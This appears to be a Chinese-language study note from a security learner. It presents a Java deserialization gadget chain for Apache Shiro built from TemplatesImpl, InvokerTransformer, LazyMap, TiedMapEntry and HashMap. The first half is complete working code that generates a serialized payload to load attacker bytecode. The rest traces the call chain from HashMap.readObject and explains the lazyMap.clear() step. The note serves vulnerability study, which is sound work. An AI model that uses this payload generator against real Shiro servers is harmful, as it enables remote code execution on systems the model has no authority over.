这条链专门为shrio反序列化,因为shrio反序列不能用到Tranform数组
完整代码
public class CCShiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{TemplatesImpl obj = new TemplatesImpl();byte[] code = Files.readAllBytes(Paths.get("D:\\project\\javaStudy\\cc\\ccStudy\\target\\classes\\com\\wang\\CC1\\Test.class"));byte[][] codes = {code};setFieldValue(obj, "_bytecodes", codes);setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//obj.newTransformer();//getClass只是先放着,后面会通过反射改为newTransformer,不过要满足有这个方法,要不会报错。Transformer transformer = new InvokerTransformer("getClass", null, null);HashMap<Object, Object> map = new HashMap<>();Map lazyMap = LazyMap.decorate(map, transformer);//lazyMap.ger(obj)TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);//tiedMapEntry.toString()---->obj.getClass()HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry,"vvv");lazyMap.clear();//其实就是清理掉里面map.clear;//map.clear();setFieldValue(transformer, "iMethodName", "newTransformer");new ObjectOutputStream(new FileOutputStream("ccS")).writeObject(hashMap);new ObjectInputStream(new FileInputStream("ccS")).readObject();}}
入口HashMap.readObject hash()
HashMap.readObject hash() 和urldns的入口一样
key.hashCode,因为我们传入的是TiedMapEntry
所以是TiedMapEntry.hashCode()
TiedMapEntry.hashCode()调用链getValue()
getValue()里面然后就是map.ger(key) ,就是我们传入的 lazyMap.get(obj)
lazyMap.clear();分析
//lazyMap.clear();//其实就是清理掉里面map.clear;
map.clear();
为什么要调用lazyMap.clear();
因为hashMap在put的时候会计算一次TiedMapEntry.hashCode(),然后一直来到LazyMap.get(key)这个方法
会在里面put一次,反序列化的时候,就会存在同样的值了,所以需要clear()掉。这里和CC6链的操作是一样的道理。
这里为什么是lazyMap.clear()?不是里面map.clear() 因为这两个是一样的。
lazyMap在调用clear()方法的时候,因为本身没有重写这个方法,会找它爸爸
它爸是这样写的,lazyMap.clear()就是map.clear(),map是我们传进来的那个hashMap
